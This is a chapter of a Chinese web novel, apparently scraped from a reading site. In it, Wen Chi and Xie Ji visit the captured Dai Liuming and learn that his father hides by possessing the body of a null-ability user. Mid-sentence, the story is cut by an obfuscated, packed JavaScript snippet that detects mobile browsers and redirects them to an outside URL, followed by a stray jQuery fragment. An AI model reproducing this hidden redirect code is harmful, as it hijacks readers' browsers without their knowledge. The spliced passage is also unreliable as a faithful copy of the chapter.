37. 第 37 章
作品:《收到阴湿竹马十年后的告白信》 一周后,阳光明媚的午后。
温炽闯进谢寂的屋内,这两天降温,她买了几件毛衣,暖黄色的毛衣暖烘烘的,衬得她更加活泼可爱。
“快看快看,我的纹身,怎么样?”温炽撩起毛衣,露出右侧纤细的腰肢,上面赫然有一个金色数字:00。
无效异能者是在异能者出现后很久才被众人发现,因为案例不多,再加上异能的特异系,最后归位初始00。
监管芯片是以异能者的特殊异能制成的,对无效异能者没有效果,因此也激发不了里面芯片里检测和惩罚功能,更不能在异能者使用异能后,显现出编号的图案。
但实验室还是要求温炽植入普通的定位芯片,得知谢寂芯片在左腰后,温炽特意找纹身师纹了编号,纹在和谢寂相对的位置,普通的定位芯片也被她种在了右腰。
谢寂刚醒,他伤势好了大半,自从突破后,虽然不用冬眠,但天气变冷,他的睡眠时间也会变长,他懒洋洋地睁开眼,顿时满眼只剩下眼前莹润的腰肢。
他深咽一口,伸出手抚上那截腰肢,实验室里的纹身师手法自然顶级,但还是在那一片腰上留下通红的印记。
“哈哈哈哈哈,别摸了,痒痒的。”
温炽扭着腰肢躲开他温凉的手指,最后干脆倒在床上,枕在谢寂身上,笑盈盈地问:“怎么样,怎么样,像不像你眼睛的颜色?”
谢寂喉间发痒,他小声地咳了一声,说:“嗯,好看。”
“嘿嘿。”温炽故作严厉地说,“小谢同学,今天早上,赵日心已经把你的权限转给我了,往后我就是你的监管人了,早上从睁眼开始就要给我汇报,知道吗?”
“好啊,求之不得。”谢寂闭上眼,抱着人转了半圈,躺在床上,埋在温炽的头顶,闻她沁人的发香,“如果我不遵从,你就用检测器惩罚我。”
“算你识相。”温炽骄傲地扬了扬下巴。
享受了一会儿惬意的午后,温炽抬起头,摸向谢寂的脸,先是眉,眼皮,浓密的睫毛,高挺的鼻梁,樱色的唇,饱满略带弧度的下巴,最后在喉结处停下。
谢寂睁开眼,注视怀中人:“怎么了?”
温炽眨眨眼:“明天我们就要回学校了,在回去之前,你要去见代流明吗?”
第三天,谢寂从病房转到自己宿舍后,她就将代流明的身份告诉了谢寂,谢寂一直没有说话,躺在床上不知道在想什么。
温炽爬上.床,抱住谢寂,几乎在她贴过去的一瞬间,便感到长尾密不透风地缠在她的腰间,谢寂没有说话,她也什么都没说,枕在谢寂的肩上,陪了他一整晚。
听到问话,谢寂睁开眼,说:“好。”
怀里的女孩温暖柔软,蛇尾再次缠上她的腰肢,像是要将两人融为一体,谢寂轻笑一声,低头,羽毛般的吻落在温炽的头顶。
他像是汲取温暖一般和温炽对视:“我们一起。”
“好呀。”温炽一口应下,伸出手按住他的唇角,弯起眉眼,“我们一起。”
-
傍晚,温炽和谢寂到监护室时,正巧赶上圆脸助理带人审问代流明。
“嗨,未来老板。”圆脸助手笑着打了声招呼。
温炽这几天已经和实验室里很多人玩熟了,特别是圆脸助手,她大部分时候跟着赵日心学习异能知识,和圆脸助手接触最多,听到这话,毫不客气地应承下来:“嗯嗯,未来助手有礼了。”
谢寂不着痕迹地扫了一眼圆脸助手,随后紧紧扣住温炽的手。
这一幕落在圆脸助手的眼里,立即引起他的调侃:“啧啧啧,年轻人就是好啊。”
“嘿嘿,袁教授你又不老。”温炽晃晃交握的手说。
“得了,比不得你们二十出头的。”圆脸助理摸摸头发逐渐稀疏的头顶,叹了一口气,“不开玩笑了,你们来找代流明的?”
“是啊,谢寂有话和他说。”
“成,你们随我进去吧。”
监护室内,读心异能者仍在盘问病床上的代流明,圆脸助手拍拍他的肩膀,说:“看出什么了吗?”
读心异能者摇头:“他们实验室里有记忆类的异能者,一旦涉及T&Q的问题,就只能看到编造的记忆。”
“不愧是能躲我们几十年的臭老鼠。”圆脸助手说,“一时半会也问不出来,你们和我先去门口等着吧。”
“好的。”
其他人走后,温炽上前取下代流明的口套,搬了两把椅子,坐在他的病床前。
代流明并不意外会见到谢寂,他冷哼一声,撇开脸,不去看他,显然一副谢绝交流的模样。
“唉,你不是挺能说呢吗,怎么现在又哑巴了?”温炽嘲讽道。
“如果是来问我父亲的事,免了,我不知道他真实的样子。”
“其他人就算了,你不是他儿子吗?”
温炽一脸真没用的表情,代流明不禁噎住。
温炽简直是来克他的,专挑他痛处说:“合着抓你和抓其他人没区别,这么久也没见你爹来救你,不会早就抛弃你跑了吧?”
代流明瞬间瞪大双眼,恶狠狠地转头瞪温炽,然而他心里知道,他的父亲很有可能已经离开了。
念此,他粗声粗气道:“他异能特殊,可以占据他人的身体,使用那具身体的异能,多年前,他占据了一具无效异能者的身体,任何异能都探测不到他的踪迹。”
温炽惊呼一声,难怪实验室查了这么久都没有查到代赴情的消息,真是将潜藏点满了。
代流明嗤笑一声:“就算告诉你们又能怎样,他对我们也从没真正放过心,实验室里有□□的异能者,平时见我们都会佩戴面具,配合他的无效异能,机器都无法检测到他的存在,他要想逃,谁都抓不到。”
“我会。”谢寂盯着代流明和他七分相似的双眼,声音沉寂,“他杀了我父母,我不会放过他。”
代流明冷冷地回望:“父母,说得还真是好听,这么说,我还得叫你一声哥哥。”
“不用,母亲没有承认你的存在,我也不会承认你。”
“......”代流明再次噎住,他恨恨道,“你是跑来和我炫耀的吗?”
谢寂没有回声,这在代流明眼里和默认无异,刚刚平息的怒火又一次冒上心头:“你以为我想认你?你能活下来不也是用妈妈命换的,你说我父亲杀了他们,放屁,明明就是你,是你的出生才害死了妈妈,你凭什么替我妈说不认我!”
“你!”
谢寂握住温炽的手腕,用拇指安抚性地蹭了蹭,随后站起身,居高临下地注视病床上跳脚的代流明。
谢寂的双眼古井无波,像是两团浓重的黑雾,似乎透
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17562776|202075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过他在看其他什么,又似乎只是单纯地注视,里面没有任何情感。
无声的注视给代流明带来很大的压力,他慌道:“你看,看什么看?”
不知过了多久,谢寂收回眼神,突兀地说道:“母亲不恨你。”
“你在说什么玩意儿?”代流明一脸纳闷。
谢寂平静地说道:“她恨你的父亲,恨过很多人,但是没有恨过你,在出逃的那一晚,她最后见的人是你。”
“你,你怎么知道,你,你刚刚——”代流明话头止住,联想到一种可能。
“我可以看到过去。”
“不可能,你一定是在骗我!”代流明急道,他不想承认这种可能,他以为母亲不爱他,所以他恨得理所当然,索求得理所当然,如果事实并非如此,那这么多年,他岂不是活成了笑话?
他宁愿母亲恨他,也不想听到这种可能。
可是他心里又有一种直觉,谢寂说的是真的。
但谢寂要说的话已经说完,他丢下一句“随你怎么想。”便拉着温炽离开,任由代流明怎么呼喊都没有回头。
离开病房后,圆脸助手笑呵呵地迎了上来:“聊完了?”
“嗯。”
“还是你们管用啊,没几句话就套出这些有用的信息。”圆脸助手取下耳机,笑得满脸皱子。
温炽摊手:“有代赴情寄生的无效异能者的信息吗?”
“这上哪有啊,无效异能者本就稀少,而且不好辨认,现在我们知道的,要么好好地在各国实验室里待着,要么已经死了,她还有面具,更难找了。”
死人......
温炽咀嚼了两遍圆脸助手的话,接着无奈地叹了一口气:“好吧。”
谢寂摇摇她的手安慰,她立即被加满油:“没事,来日方长,反正也抓到代流明了,说不定他会主动送上门呢。”
“你不是说代赴情放弃他了吗?”圆脸助手好奇道。
“我故意刺激他的。”温炽眉眼弯弯,“代赴情逃跑的关键时刻,为了儿子开心,都同意让他带个陌生女人,也就是我,说不在意怎么可能呢?”
“代流明对父母爱不爱他这件事骨子里是自卑的,随便刺激两句就什么都交代了,不过谁让代赴情没表现得很爱他,被儿子背刺也正常。”
圆脸助手一脸恍然地注视着长相乖巧可爱的女生,突然有点明白老师选她的原因了......
“啪!”
突然,有个推着医用小车的护士打翻了一瓶溶药,她连忙拿起溶药,连声说:“对不起对不起。”
听到声音,温炽心里涌起一阵熟悉的感觉,她闻声看去,护士都戴着口罩,遮住大半张脸,那名小护士也是如此,而且因为低着头整理药瓶,更难看出面容。
有了这个小插曲,圆脸助手反应过来,听到病房里的怒吼,赶紧指挥身边医护人员进屋:“去去去,赶快给我们重要证人做个详细检查,别给人刺激得暴动了。”
温炽侧身,让医护人员陆续走进病房,在小护士经过她时,她终于得以看见对方的眉眼,对方刘海很长,遮住大半眼睛,但温炽还是能看出小护士有一双漂亮柔媚的双眼。
总觉得......有点眼熟。
在人进门的那一刹那,她拉住小护士的手腕,问:“我们有没有见过?”

